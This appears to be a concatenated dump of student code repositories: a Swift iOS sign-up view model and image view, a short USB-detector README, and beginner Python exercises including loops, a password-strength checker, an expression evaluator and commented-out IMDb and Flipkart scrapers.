// Created by <NAME> on 4/12/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import Foundation
protocol SignUpViewModelDelegate: class {
func signUpViewModel(_ viewModel: SignUpViewModel, didUpdateState state: ViewModelState)
func signUpViewModel(_ viewModel: SignUpViewModel, didUpdateInputData data: SignUpInput)
}
enum SignUpInput {
case email
case password
case confirmPassword
}
class SignUpViewModel {
var state: ViewModelState = .idle {
didSet {
delegate?.signUpViewModel(self, didUpdateState: state)
}
}
weak var delegate: SignUpViewModelDelegate?
var email = "" {
didSet {
delegate?.signUpViewModel(self, didUpdateInputData: SignUpInput.email)
}
}
var password = "" {
didSet {
delegate?.signUpViewModel(self, didUpdateInputData: SignUpInput.password)
}
}
var confirmPassword = "" {
didSet {
delegate?.signUpViewModel(self, didUpdateInputData: SignUpInput.confirmPassword)
}
}
var hasValidCredentials: Bool {
if password != confirmPassword {
return false
}
return email.isEmailFormatted() && !password.isEmpty
}
func startSignUp() {
state = .loading
FirebaseManager.shared.signUp(email: email, password: <PASSWORD>, success: {[weak self] in
guard let self = self else { return }
self.state = .idle
AppNavigator.shared.navigate(to: HomeRoutes.home, with: .reset)
}, failure: { [weak self] error in
self?.state = .error(error)
})
}
}
<file_sep>/Final Project/MeTodo/View/BaseView/AppImageView.swift
//
// AppImage.swift
// MeChat
//
// Created by <NAME> on 4/5/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import UIKit
enum AppImageShape {
case retangle
case circle
}
class AppImageView: UIImageView {
var shape: AppImageShape = .retangle {
didSet {
updateShape()
}
}
var rectangleCornerRadius = CGFloat(0) {
didSet {
updateShape()
}
}
override func layoutSubviews() {
super.layoutSubviews()
updateShape()
}
private func updateShape() {
switch shape {
case .retangle:
layer.cornerRadius = rectangleCornerRadius
case .circle:
layer.cornerRadius = frame.size.height / 2
}
self.clipsToBounds = true
}
}
|
a8335c8b890fc9dafeb6c7c11e658d93631c3fc5
|
[
"Swift",
"Ruby"
] | 41 |
Swift
|
hienhodeveloper/MeTodo
|
5bc890b4b8e80e15c2455828f00bca2717e1bbf7
|
1db524787ad108ebba92e0bb8e9d86282c4a62d8
|
refs/heads/master
|
<file_sep># usbdetector
Detects if usb ports are occupied and if there is one it will keep this program up. Once you remove the pen drive (usb), the computer will shutdown.
Please feel free to fix errors and to modify it as you like.
|
9d458689d9723fbd6689efc3d705bc5f58216b2b
|
[
"Markdown"
] | 1 |
Markdown
|
codescripts/usbdetector
|
a9ab9e18c6be6db2b0a4cbd90bd1ae94bedf9693
|
28ca0238e2da55e97c043e582bb66d826ec6455d
|
refs/heads/master
|
<file_sep># a=int(input("Enter a number"))
# b=int(input("Enter a number"))
# c=int(input("Enter a number"))
# if a>b and a>c:
# print('a')
# elif b<a and b<c:
# print('b')
# else:
# print('c')
# a=int(input("Enter a number"))
# b=int(input("Enter a number"))
# c=int(input("Enter a number"))
# if a>b:
# if b>a:
# print(a)
# elif b<c:
# print(b)
# else:
# print(c)
# a="0"or"1"or"2"or"3"or"4"or"5"or"6"or"7"or"8"
# b="q"or"w"or"e"or"r"or"t"or"y"or"u"or"i"or"o"or"p"or"a"or"s"or"d"or"f"or"g"or"h"or"j"or"k"or"l"or"z"or"x"or"c"or"v"or"b"or"n"
# c="Q"or"W"or"E"or"R"or"T"or"Y"or"U"or"I"or"O"or"P"or"A"or"S"or"D"or"F"or"G"or"H"or"J"or"K"or"L"or"Z"or"X"or"C"or"V"or"B"or"N"
# d="!"or"@"or"#"or"%"or"&"or"+"
# x=input("Enter a passwod ")
# if(len(x)==8):
# if "0"or"1"or"2"or"3"or"4"or"5"or"6"or"7"or"8" in x:
# if "q"or"w"or"e"or"r"or"t"or"y"or"u"or"i"or"o"or"p"or"a"or"s"or"d"or"f"or"g"or"h"or"j"or"k"or"l"or"z"or"x"or"c"or"v"or"b"or"n" in x:
# if "Q"or"W"or"E"or"R"or"T"or"Y"or"U"or"I"or"O"or"P"or"A"or"S"or"D"or"F"or"G"or"H"or"J"or"K"or"L"or"Z"or"X"or"C"or"V"or"B"or"N" in x:
# if "!"or"@"or"#"or"%"or"&" in x:
# print("this is a strong password")
# else:
# print("invaid password")
# x=int(input("Enter a number"))
# if x%2==0:
# print("it is not a prime number")
# else:
# print("it is a prime number ")
# x={"w":0}
# c=x["w"]
# print(c)
# x=1
# while x<=10:
# if x%2!=0:
# print("odd number")
# else:
# print("even number")
# x+=1
# e90
x=[1,2,3,4,5]
for i in x:
for u in x:
print(u,str(i))
# print(2/3)<file_sep># a=int(input("Enter a number"))
# b=int(input("Enter a number"))
# c=int(input("Enter a number"))
# if a>b and a>c:
# print('a')
# elif b<a and b<c:
# print('b')
# else:
# print('c')
# a=int(input("Enter a number"))
# b=int(input("Enter a number"))
# c=int(input("Enter a number"))
# if a>b:
# if b>a:
# print(a)
# elif b<c:
# print(b)
# else:
# print(c)
# Codesdope
# length=int(input())
# breath=int(input())
# if length==breath:
# print("yes,it a square")
# else:
# print("not,it is only rectangle")
# n=int(input())
# b=int(input())
# if n>=b:
# print "greater is",n
# elif n<=b:
# print "greater is",b
# else:
# print"both are euqal"
<file_sep># import json
# def signup(e,p,r,b,n,f,d):
# x=open("/home/navgurukul/Desktop/P/n.json")
# y=json.load(x)
# a=open("/home/navgurukul/Desktop/P/n.json","w")
# json.dump(y,a,indent=4)
# z=open("/home/navgurukul/Desktop/html/index.html","w")
# z.write("<!DOCTYPE html>")
# z.write("<html>\n")
# z.write("<head>\n")
# z.write("<title>\n")
# z.write("prompt")
# z.write("</title>\n")
# z.write("</head>\n")
# z.write("<body>\n")
# z.write("<div style=width:400px;margin-top:400px><div style=color:blue><h1 style=width:400px><b>signup sucsfull</b><h1></div></div>")
# z.write("</body>")
# z.write("</html>")
# z.close()
# print("signup sucsfull")
# def login(e,p,):
# x=open("/home/navgurukul/Desktop/P/r.json")
# y=json.load(x)
# q=open("/home/navgurukul/Desktop/P/n.json")
# a=json.load(q)
# for o in y:
# zz=1
# e=o["email"]
# p=o["passward"]
# for i in a:
# if i["email"]==e:
# zz=0
# if i["passward"]==p:
# z=open("/home/navgurukul/Desktop/html/index.html","w")
# z.write("<!DOCTYPE html>")
# z.write("<html>\n")
# z.write("<head>\n")
# z.write("<title>\n")
# z.write("prompt")
# z.write("</title>\n")
# z.write("</head>\n")
# z.write("<body>\n")
# z.write("<div style=width:400px;margen:auto;margin-top:400px;><div style=margin-top:400px;color:blue><h1 style=margin:auto><b>login sucsfull</b></h1></div></div>")
# z.write("</body>")
# z.write("</html>")
# z.close()
# print("login sucsfull")
# zz=0
# break
# else:
# z=open("/home/navgurukul/Desktop/html/index.html","w")
# z.write("<!DOCTYPE html>")
# z.write("<html>\n")
# z.write("<head>\n")
# z.write("<title>\n")
# z.write("prompt")
# z.write("</title>\n")
# z.write("</head>\n")
# z.write("<body>\n")
# z.write("<div style=width:400px;margen:auto;margin-top:400px;><div style=margin-top:400px;color:red><h1 style=margin:auto><b>your passward is wrong</b></h1></div></div>")
# z.write("</body>")
# z.write("</html>")
# z.close()
# print("your passward is wrong")
# break
# if zz!=0:
# z=open("/home/navgurukul/Desktop/html/index.html","w")
# z.write("<!DOCTYPE html>")
# z.write("<html>\n")
# z.write("<head>\n")
# z.write("<title>\n")
# z.write("prompt")
# z.write("</title>\n")
# z.write("</head>\n")
# z.write("<body>\n")
# z.write("<div style=width:400px;margen:auto;margin-top:400px;><div style=color:red><h1 style=margin:auto><b>your email id is wrong</b><h1/></div></div>")
# z.write("</body>")
# z.write("</html>")
# z.close()
# print("your email id is wrong")
# x=input("what you want (login,signup): ")
# if "l" in x:
# x=input("type your email id")
# y=input("type your email id passward")
# login(x,y)
# else:
# x=input("type your email id")
# y=input("type your email id passward")
# z=input("first name")
# q=input("last name")
# e=input("date of barth")
# f=input("month of barth")
# c=input("year of barth")
# signup(x,y,z,q,e,f,c)
# x=input()
# pp=list(x)
# s=0
# c=[]
# e=0
# f=0
# l=0
# oo=9
# try:
# aa=int(x)
# print("inteser")
# except:
# try:
# y=x.split("+")
# p=list(y)
# o=p.pop(1)
# o=list(o)
# o=o.pop(-1)
# if "j" == o:
# print("complex")
# else:
# print(ghjkh)
# except:
# for i in x:
# if i in "qwertyuiopasdfghjklzxcvbnm":
# s+=1
# if i in "1234567890j":
# c.append(i)
# if i in "1234567890.":
# f+=1
# if x[0]=="[" and x[-1]=="]":
# l+=1
# e+=2
# if e<len(x)-1:
# if x[e]=="," and x[e-1]==",":
# continue
# else:
# if e!=len(x)-1:
# print("error of (,)")
# break
# if x[0]=='{' and x[-1]=='}':
# print("dictenery")
# oo=0
# break
# if s==len(pp):
# print("string")
# elif x[-1]=="j" and (len(c)==len(pp)):
# print("colplex")
# elif f==len(pp):
# print("float")
# elif l==len(pp):
# print("list")
# elif oo==0:
# pass
# else:
# print("this is nothing\nBut you can make it string \nwith the help of dubble or single coot")
# import time
# p1=time.time()
# num1=[1,2]
# num2=[3,4]
# x=num1+num2
# x.sort()
# if len(x)%2==0:
# p=len(x)//2
# print((x[p-1]+x[p])/2)
# else:
# y=len(x)//2
# print(x[y])
# p2=time.time()
# print(p2-p1)
# d={}
# import json
# import requests
# from bs4 import BeautifulSoup as b
# rr=requests.get("https://www.imdb.com/india/top-rated-indian-movies/?ref_=nv_mv_250_in").text
# s=b(rr,'html.parser')
# b=s.find("div",class_="lister")
# v=b.find("table",class_="chart full-width")
# c=v.find("tbody",class_="lister-list")
# x=c.find_all("tr")
# v=0
# ll=[]
# for pol in x:
# yy=x[v].find("td",class_='titleColumn').a.get_text()
# d["name"]=yy
# u=x[v].find("td",class_='titleColumn').span.get_text()
# u=u[1:-1]
# d["year"]=u
# z=x[v].find("td",class_="ratingColumn imdbRating").strong.get_text()
# d["rating"]=z
# bb=x[v].find("td",class_='titleColumn')
# bb=bb.find("a")["href"]
# d['link']=bb
# v+=1
# ooo=open("n.json","w")
# ll.append(d)
# json.dump(ll,ooo,indent=4)
# d={}
# d={}
# dd={}
# pp=[]
# lk=[]
# import json
# o=open("n.json")
# l=json.load(o)
# x=[]
# for i in l:
# x.append(i["year"])
# x=set(x)
# x=list(x)
# x.sort()
# for x in x:
# for i in l:
# if x==i['year']:
# dd["name"]=i["name"]
# dd["year"]=i["year"]
# dd["rating"]=i["rating"]
# dd["link"]=i["link"]
# pp.append(dd)
# dd={}
# d[x]=pp
# o=open("r.json","w")
# lk.append(d)
# json.dump(lk,o,indent=4)
# d={}
# pp=[]
# d={}
# dd=[]
# li=[]
# import json
# o=open("r.json")
# l=json.load(o)
# xx=1950
# for i in l:
# for kl in i:
# for val in i[kl]:
# if int(kl)>=xx and int(kl)<xx+10:
# li.append(val)
# else:
# d[str(xx)]=li
# op=open("n.json","w")
# dd.append(d)
# json.dump(dd,op,indent=4)
# xx+=10
# d={}
# li=[]
# li.append(val)
# di={}
# d2={}
# import json
# import requests
# from bs4 import BeautifulSoup as b
# o=open("n.json")
# ll=[]
# lk=[]
# pol=[]
# l=json.load(o)
# for i in l:
# for ii in i.values():
# for x in ii:
# ll.append(x["link"])
# lk.append(x["name"])
# for i in ll:
# for vb in lk:
# link="https://www.imdb.com"+str(i)+"?pf_rd_m=A2FGELUUNOQJNL&pf_rd_p=690bec67-3bd7-45a1-9ab4-4f274a72e602&pf_rd_r=6NWFW74GS34D14G9RMTQ&pf_rd_s=center-4&pf_rd_t=60601&pf_rd_i=india.top-rated-indian-movies&ref_=fea_india_"
# rr=requests.get(link).text
# s=b(rr,'html.parser')
# ss=s.find("div",id="main_bottom")
# aa=s.find("div",class_="article",id="titleDetails")
# aa=aa.find_all("div",class_="txt-block")
# ju=0
# for bb in aa:
# if (aa[ju].find("h4").get_text())=="Language:":
# a=bb.find('a').get_text()
# break
# ju+=1
# lkp=0
# for nh in aa:
# if aa[lkp].find("h4")==None:
# tt="time is not given"
# break
# elif (aa[lkp].find("h4").get_text())=="Runtime:":
# tt=aa[lkp].find("time").get_text()
# break
# lkp-=1
# xc=s.find("div",class_="credit_summary_item").a.get_text()
# d2["direacter"]=xc
# d2["language"]=a.split(" ")
# d2["time"]=tt
# di[vb]=d2
# o=open("r.json","w")
# pol.append(di)
# json.dump(pol,o,indent=4)
# di={}
# d2={}
# lk.remove(vb)
# break
# import time
# from selenium.webdriver.common.keys import Keys
# import selenium.webdriver.common.keys
# import threading
# from selenium import webdriver
# from bs4 import BeautifulSoup as b
# PATH="/home/navgurukul/Downloads/chromedriver"
# time.sleep(2)
# driver=webdriver.Chrome(PATH)
# driver.get("https://www.flipkart.com/home-entertainment/pr?sid=ckf&otracker=categorytree")
# time.sleep(2)
# time.sleep(4)
# link=driver.find_element_by_xpath('//*[@id="container"]/div/div[1]/div[1]/div[2]/div[2]/form/div/div/input')
# link.send_keys("tv")
# link.send_keys(Keys.RETURN)
# time.sleep(2)
# filter=driver.find_element_by_xpath('//*[@id="container"]/div/div[3]/div[2]/div[1]/div[1]/div[2]/div/div/section[4]/div[2]/div[1]/div[1]/input')
# filter.send_keys("sony")
# filter.send_keys(Keys.RETURN)
# time.sleep(2)
# click=driver.find_element_by_xpath('//*[@id="container"]/div/div[3]/div[2]/div[1]/div[1]/div[2]/div[1]/div/section[4]/div[2]/div[1]/div[2]/div/div/label/div[2]')
# click.click()
# time.sleep(1)
# filter=driver.find_element_by_xpath('//*[@id="container"]/div/div[3]/div[2]/div/div[1]/div/div[1]/div/section[4]/div[2]/div[1]/div[2]/input')
# filter.send_keys("LG")
# filter.send_keys(Keys.RETURN)
# xz=driver.find_element_by_xpath('//*[@id="container"]/div/div[3]/div[2]/div/div[1]/div/div[1]/div/section[4]/div[2]/div[1]/div[3]/div/div')
# xz.click()
# x=driver.
# bea=b(x,"html.parser")
# # data=bea.find("div",class_="E2-pcE _3zjXRo")
# data=bea.find("div",class_="E2-pcE _1q8tSL")
# print(data)
# l_data=data.find_all("div",class_="_2pi5LC col-12-12")
# print(len(l_data))
# import requests
# from bs4 import BeautifulSoup as b
# r=requests.get("https://www.flipkart.com/search?q=tv&otracker=search&otracker1=search&marketplace=FLIPKART&as-show=on&as=off&p%5B%5D=facets.brand%255B%255D%3DLG&p%5B%5D=facets.brand%255B%255D%3DSony").text
# rr=b(r,"html.parser")
# x=rr.find("div",class_="E2-pcE _3zjXRo")
# p=x.find_all("div",class_="_2pi5LC col-12-12")
# print(len(p))
# p.pop(0)
# p.pop(0)
# p.pop(-1)
# p.pop(-1)
# for i in p:
# a=i.find("div",class_="_2kHMtA")
# print(i)
# link=a.find("a")["href"]
# aaa=a.find("div",class_="_3pLy-c row")
# d=aaa.find("div",class_="_2pi5LC col-12-12")
# a=d.find("div",class_="_4rR01T").get_text()
# print(a)
# q=d.find("div",class_="gUuXy-")
# q=q.find("div",class_="_3LWZlK").get_text()
# print(q)
# w=d.find("div",class_="fMghEO")
# w=w.find_all("li",class_="rgWa7D")
# for i in w:
# aa=i.get_text()
# print(aa)
# z=aaa.find("div",class_="col col-5-12 nlI3QM")
# z=z.find("div",class_="_30jeq3 _1_WHN1").get_text()
# print(z)
# break
# import time
# import multiprocessing
# import json
# import requests
# from bs4 import BeautifulSoup as b
# from selenium import webdriver
# from selenium.webdriver.common.keys import Keys
# PATH="/home/navgurukul/Downloads/chromedriver"
# time.sleep(2)
# driver=webdriver.Chrome(PATH)
# driver.get("https://www.flipkart.com/home-entertainment/pr?sid=ckf&otracker=categorytree")
# time.sleep(2)
# link=driver.find_element_by_xpath('//*[@id="container"]/div/div[1]/div[1]/div[2]/div[2]/form/div/div/input')
# link.send_keys("tv")
# link.send_keys(Keys.RETURN)
# time.sleep(2)
# filter=driver.find_element_by_xpath('//*[@id="container"]/div/div[3]/div[2]/div[1]/div[1]/div[2]/div/div/section[4]/div[2]/div[1]/div[1]/input')
# filter.send_keys("sony")
# filter.send_keys(Keys.RETURN)
# time.sleep(2)
# click=driver.find_element_by_xpath('//*[@id="container"]/div/div[3]/div[2]/div[1]/div[1]/div[2]/div[1]/div/section[4]/div[2]/div[1]/div[2]/div/div/label/div[2]')
# click.click()
# time.sleep(1)
# filter=driver.find_element_by_xpath('//*[@id="container"]/div/div[3]/div[2]/div/div[1]/div/div[1]/div/section[4]/div[2]/div[1]/div[2]/input')
# filter.send_keys("LG")
# filter.send_keys(Keys.RETURN)
# xz=driver.find_element_by_xpath('//*[@id="container"]/div/div[3]/div[2]/div/div[1]/div/div[1]/div/section[4]/div[2]/div[1]/div[3]/div/div')
# xz.click()
# fg=driver.current_url
# r=requests.get(str(fg)).text
# rr=b(r,"html.parser")
# tyu=rr.find("div",class_="_3LxdjL _3NzWOH")
# x=tyu.find("div",class_="E2-pcE _3zjXRo")
# p=x.find_all("div",class_="_2pi5LC col-12-12")
# p.pop(-1)
# lkj=p.pop(-1)
# pol=[]
# mnb=lkj.find("nav",class_="yFHi8N")
# mnb=mnb.find_all("a",class_="ge-49M")
# for i in mnb:
# i=i.get("href")
# pol.append(i)
# def ox(upo,dic,qu,d,aaa,link):
# w=d.find("div",class_="fMghEO")
# w=w.find_all("li",class_="rgWa7D")
# for i in w:
# aa=i.get_text()
# qu.append(aa)
# dic["qualites"]=qu
# qu=[]
# z=aaa.find("div",class_="col col-5-12 nlI3QM")
# z=z.find("div",class_="_30jeq3 _1_WHN1").get_text()
# z=str(z.replace("\u20b9","Rs"))
# dic["amount"]=z
# rr=requests.get("https://www.flipkart.com"+str(link)).text
# bs=b(rr,"html.parser")
# aa=bs.find("div",class_="_1YokD2 _3Mn1Gg col-8-12")
# if aa==None:
# pass
# ss=aa.find("div",class_="_1YokD2 _3Mn1Gg")
# ad=ss.find_all("div",class_="_1AtVbE col-12-12")
# for ii in ad:
# di=ii.find("div",class_="_3nkT-2")
# if di!=None:
# dii=ii.find("div",class_="_3cFJ8l").get_text()
# if dii=="Description":
# II=di.find("div",class_="_2o-xpa")
# po=II.find("div",class_="_1mXcCf RmoJUa")
# if po==None:
# po=ii.find("div",class_="_1mXcCf").get_text()
# dic[str(dii)]=[po]
# break
# else:
# p=po.find("p")
# if p==None:
# ol=po.get_text()
# dic[str(dii)]=[ol]
# break
# else:
# po=p.get_text()
# dic[str(dii)]=[po]
# break
# dic['link']=link
# hg=open("n.json","a")
# upo.append(dic)
# json.dump(upo,hg,indent=4)
# dic={}
# qu=[]
# time.sleep(1)
# def cod(url):
# upo=[]
# dic={}
# qu=[]
# print(url[0])
# r=requests.get("https://www.flipkart.com"+str(url)).text
# rr=b(r,"html.parser")
# tyur=rr.find("div",class_="_3FqKqJ")
# rrr=tyur.find("div",class_="E2-pcE _3zjXRo")
# p=rrr.find_all("div",class_="_2pi5LC col-12-12")
# print(len(p)-4)
# p.pop(0)
# p.pop(0)
# p.pop(-1)
# p.pop(-1)
# for i in p:
# a=i.find("div",class_="_2kHMtA")
# link=a.find("a")["href"]
# aaa=a.find("div",class_="_3pLy-c row")
# d=aaa.find("div",class_="col col-7-12")
# aas=d.find("div",class_="_4rR01T").get_text()
# print(aas)
# dic["model"]=aas
# q=d.find("div",class_="gUuXy-")
# if q==None:
# dic["reating"]="no reating"
# ox(upo,dic,qu,d,aaa,link)
# else:
# q=q.find("div",class_="_3LWZlK").get_text()
# dic["reating"]=q
# ox(upo,dic,qu,d,aaa,link)
# yui=[]
# for url in pol:
# t1=multiprocessing.Process(target=cod,args=[str(url)])
# t1.start()
# yui.append(t1)
# for threds in yui:
# threds.join()
#
# d={}
# def x(a):
# for i in range(10):
# o=open("r.json")
# df=json.load(o)
# o=open("r.json","w")
# d[a]=str(i)
# df.append(d)
# json.dump(df,o,indent=4)
# a=['1',"2",'3']
# for i in a:
# t1=multiprocessing.Process(target=x,args=i)
# t1.start()
#
#
#
# # time.sleep(1)
# # yui=[]
# for url in pol:
# cod(str(url))
# # t1=multiprocessing.Process(target=cod,args=[pol[0]])
# # t1.start()
# # time.sleep(1)
# # yui.append(t1)
# # for threds in yui:
# # threds.join()
# # import time
# # import multiprocessing
# # def x(b):
# # for i in range(10):
# # print(str(i)+b)
# # time.sleep(1)
# # t1=multiprocessing.Process(target=x,args=["hi"])
# t2=multiprocessing.Process(target=x,args=["hallo"])
# t1.start()
# t2.start()
# 6 mem
# D.horrner
# 10th 2009
# 12
# 2014
# job 2-4,5
# furture goals-dr.
# second offtion teacher
# 1
# father gnerl-per day 4000
# mother h
# yonger 9
# second 12
# area-ngo rista (give )
# x=input()
# o=0
# p=[]
# lj=[]
# c=0
# x=list(x)
# def cv(x,p,lj=0,l=[]):
# while "(" in x:
# for i in x:
# if i==")":
# x.remove(i)
# x.remove("(")
# lj=lj-1
# while lj!=0:
# l.append(x[lj-lj])
# x.remove(x[0])
# lj-=1
# y(l,p)
# else:
# lj+=1
# if len(x)==0:
# print(sum(p),"e")
# else:
# l=x
# y(l,p)
# l=[]
# def y(y,p,c=0):
# while "/" in y:
# for i in y:
# if i=="/":
# print(y)
# d=int(y[c-1])/int(y[c+1])
# y.remove(y[0])
# y.remove(y[0])
# y.remove(y[0])
# l.append(d)
# p.append(l[0])
# c+=1
# if len(y)==0:
# cv(y,p)
# else:
# o(y,p)
# def o(y,p,c=0):
# while "*" in y:
# for i in y:
# if i=="*":
# d=int(y[c-1])*int(y[c+1])
# y.remove(y[0])
# y.remove(y[0])
# y.remove(y[0])
# l.append(d)
# c+=1
# if len(y)==0:
# p.append(l[0])
# cv(y,p)
# else:
# s(y,p)
# def s(y,p,c=0,l=[]):
# while "+" in y:
# for i in y:
# if i=="+":
# d=int(y[c-1])+int(y[c+1])
# y.remove(y[0])
# y.remove(y[0])
# y.remove(y[0])
# l.append(d)
# c+=1
# if len(y)==0:
# p.append(l[0])
# cv(y,p)
# else:
# m(y,p)
# def m(y,p,c=0):
# while "-" in y:
# for i in y:
# if i=="-":
# d=int(y[c-1])-int(y[c+1])
# y.remove(y[0])
# y.remove(y[0])
# y.remove(y[0])
# l.append(d)
# c+=1
# if len(y)==0:
# p.append(l[0])
# cv(y,p)
# else:
# cv(y,p)
# cv(x,p)
# [1+2*(3/3)]
# [1+2*1]
# [1+2]
# [3]
# def y(x,q=0,c=0,b=0):
# w=[]
# print(x)
# if len(x)>=2:
# if "(" in x:
# for i in x:
# if i==")":
# q=q-1
# b=q
# while True:
# if x[b]!="(":
# b-=1
# else:
# bb=b
# b+=1
# break
# else:
# q+=1
# while x[b]!=")":
# w.append(x[b])
# b+=1
# print(x[b])
# print(bb,"kq",w)
# x.remove(")")
# x.pop(bb)
# print(x,"234rt")
# print(w)
# jh=div(w)
# op=bb
# while bb!=q:
# print(x.pop(op))
# bb+=1
# if len(x)==0:
# print(w.pop(0))
# if len(w)==1:
# return w[0]
# else:
# print(w,"l")
# w=div(w)
# print(w)
# if len(w)==1:
# return w[0]
# else:
# x.insert(op,"*")
# x.insert(op+1,jh)
# print(x,"0000000000000")
# y(x)
# else:
# print(x[0])
# ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# x=input()
# x=x.split(" ")
# def y(x,q=0,lk=""):
# w=[]
# if "(" in x:
# for i in x:
# if i==")":
# x.pop(q)
# q-=1
# while x[q]!="(":
# w.insert(0,x[q])
# x.pop(q)
# q-=1
# break
# else:
# q+=1
# x.pop(q)
# re=div(w)
# if len(x)==0:
# print(w[0])
# else:
# if x[q-1] not in ["+","-","*","/"]:
# x.insert(q,"*")
# if x[0]!="*":
# x.insert(q+1,re)
# y(x)
# else:
# x.insert(q+1,re)
# x.pop(0)
# y(x)
# else:
# x.insert(q,re)
# if len(x)==1:
# print(x[0])
# else:
# y(x)
# else:
# re=div(x)
# print(re)
# def div(w,c=0):
# if "/" in w:
# while "/" in w:
# for i in w:
# if i=="/":
# d=float(w[c-1])/float(w[c+1])
# w.pop(c-1)
# w.pop(c-1)
# w.pop(c-1)
# w.insert(c-1,d)
# else:
# c+=1
# mn=mul(w)
# return mn
# def mul(w,c=0):
# if "*" in w:
# while "*" in w:
# for i in w:
# if i=="*":
# d=float(w[c-1])*float(w[c+1])
# w.pop(c-1)
# w.pop(c-1)
# w.pop(c-1)
# w.insert(c-1,d)
# c=0
# break
# else:
# c+=1
# mn=plu(w)
# return mn
# def plu(w,c=0):
# if "+" in w or "-" in w:
# while "+" in w or "-" in w:
# for i in w:
# if i=="+" or i=="-":
# c=1
# if w[c]== "+":
# d=float(w[c-1])+float(w[c+1])
# elif w[c]=="-":
# d=float(w[c-1])-float(w[c+1])
# w.pop(c-1)
# w.pop(c-1)
# w.pop(c-1)
# w.insert(c-1,d)
# c=0
# else:
# c+=1
# return w[0]
# y(x)
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# a=1
# sum=0
# while a<=100:
# sum=sum+a
# print (sum)
# a+=
# a=1
# while a<100:
# if a%2==0:
# print(-a,a-1)
# a+=1
# a=1
# while a<=100:
# if a%2==0:
# print(a)
# else:
# print(a)
# if a==99:
# a-=97
# continue
# a+=2
# x= input()
# x=x.split(" ")
# x.sort()
# print(x)
# op=""
# kl=[]
# for i in m:
# m.remove(i)
# if i in m:
# kl.append(i)
# m.append(i)
# if i not in kl:
# i.append(i)
# print(kl)
# [l l l m k b h j m]
x=input()
if len(x)>=8 and len(x)<=16:
if "!" in x or "@" in x or "#" in x or "$" in x or "%" in x or "^" in x or "&" in x:
if "1" in x or "2" in x or "3" in x or "4" in x or "5" in x or "6" in x or "7" in x or "8" in x or "9" in x or "0" in x:
if "q" in x or "w" in x or "e" in x or "r" in x or "t" in x or "y" in x or "u" in x or "i" in x or "o" in x or "p" in x or "a" in x or "s" in x or "d" in x or "f" in x or "g" in x or "h" in x or "j" in x or "k" in x or "l" in x or "z" in x or "x" in x or "c" in x or "v" in x or "b" in x or "n" in x or "m" in x:
if "Q" in x or "W" in x or "E" in x or "R" in x or "T" in x or "U" in x or "I" in x or "O" in x or "P" in x or"A" in x or "S" in x or "D" in x or "F" in x or "G" in x or "H" in x or "J" in x or "K" in x or "L" in x or "Z" in x or "X" in x or "C" in x or "V" in x or "B" in x or "N" in x or "M" in x:
print("strong passward")
else:
print("upper")
else:
print("lower")
else:
print("num")
else:
print("spassel")
else:
print("len")
<file_sep>'''
a = 1
while a<100:
print(a+1)
a+=1
x = 1
while x<15:
print(x*7)
x+=1
x = 0
y = 100
while y>=0:
x+=y
y-=1
pri
nt(x)
x=1
while x<10:
y = int(input("type an number: "))
y+=y
print(y)
y=1
while y<=100:
if(y%2==1):
print(y)
else:
print(y*-1)
y+=1
c=0
y=1
while y<=10:
x = int(input("type an number: "))
z = x+c
c+=x
y+=1
print(z)
w = 1
e = 2
c = 0
x = 5
while x>=0:
print("w "*c,end="")
print()
c+=1
x-=1
x=1
while x<=100:
if (x%3==0):
print("Nav")
x+=1
else:
if (x%7==0):
print("Gurukul")
x+=1
else:
if (x%3==0) and (x%7==0):
print("Navgurukul")
x+=1
else:
print(x)
x+=1
a = 156
y = a-155
while y<=10:
print(y)
y+=1
n = int(input("type an number: "))
o=n
while o>=2:
x=int(input("type an number: "))
o-=1
z = x+n
n+=x
print(z)
x = int(input("type an number: "))
y=1
while y<=1:
if x==2 or x==3 or x==5 or x==7 or x==13:
print("the number is prime: ")
y+=1
else:
if x%2==0 or x%3==0 or x%5==0 or x%7==0 or x%13==0 or x%11==0:
print("the number is not prime: ")
y+=1
else:
print("the number is prime: ")
y+=1
y=5
x=5
while y>=1:
print(5*str(x),end="")
print()
x-=1
y-=1
x=20
while x<=100:
print(x)
x+=2
x=7
while x<=100:
print(x)
x+=7
y=12
x=412
while x>=0:
y+=x
x-=1
print(y)
x=30
y=420
while y>0:
x+=y
y-=8
print(x)
c=0
x=0
while x<=10:
y = int(input("type the weight: "))
z=y+c
c+=y
x+=1
e = c/11
if e%5==0:
print(e,"the weight is divisival by 5")
else:
print(e,"the weight is not divisival by 5")
x=1
while x<=100:
print(x)
x+=1
print(-x)
x+=1
e=0
while e<=5:
y = int(input("type any number 1 to 10: "))
if y==5:
print("your gess is wright")
break
else:
if y<5:
print("your gess is less the my number: ")
else:
if y>5:
print("your gess is greater than my number: ")
print("pleas try again")
e+=1
if y!=5:
print("you loos ")
c = 0
d = 1
while c < 3:
c = c + 1
d = d * c
print "Loop Ke Andar", c, d
else:
print "Loop Ke Bahar", c, d
n = 6
s = 0
i = 1
while i <= n:
s = s + i
i = i + 1
print s
i = 0
while(i<5):
j = 0
while(j<5): #loop2
if (j > 3):
break
else:
print "*",
j = j + 1
print ''
i = i + 1
x = 0
while(x<7):
if (x == 3 or x==5):
x = x + 1
continue
print(x)
x = x + 1
index = 1
while index < 10:
print(index)
index = index + 1
i=0
while i<10:
j = 0
while j<=5:
print(j)
j = j + 1
i = i + 1
# i = 0
# num = int(input("Enter your number:- "))
s# while(i <= num):
# if(num > 0):
# print("it is positive")
# elif(num < 0):
# print("it is negetive")
# else :
# print("zero")
# i = i + 1
# x = 365
# print(x*16+4)
# x=16*12
# z=1
# y=16
# print(x*30+y*5+z*y/4 , "days")
x=int(input("type number of students: "))
y=int(input("type amount of one student"))
if x*y<50000:
print("kaaracha baagaata kaa aanndar ha ")
else:
print("kaaracha baajaaata kaa baahar ha ")
x = int( input("type an number: "))
y=x-1
while y>0:
x*=y
y-=1
print(x)
x = int(input("type an number: "))
while x>0:
z=x
c=1
while z>0:
print(" "*z,end="")
print(" *"*c,end="")
print()
c+=1
z-=1
x-=1
x = int(input(" type an number: "))
i=1
while i<=x:
j=1
while j<=x:
print(j,end=" ")
j+=1
i+=1
print()
x = int(input("type an number: "))
i=1
while i==1:
j=1
while j<=1:
print(j,end=" ")
j+=1
print()
i+=1
j=1
while j<=1:
print(j,end=" ")
j+=1
print()
i+=1
x = int(input("type an number: "))
i=1
while i==1:
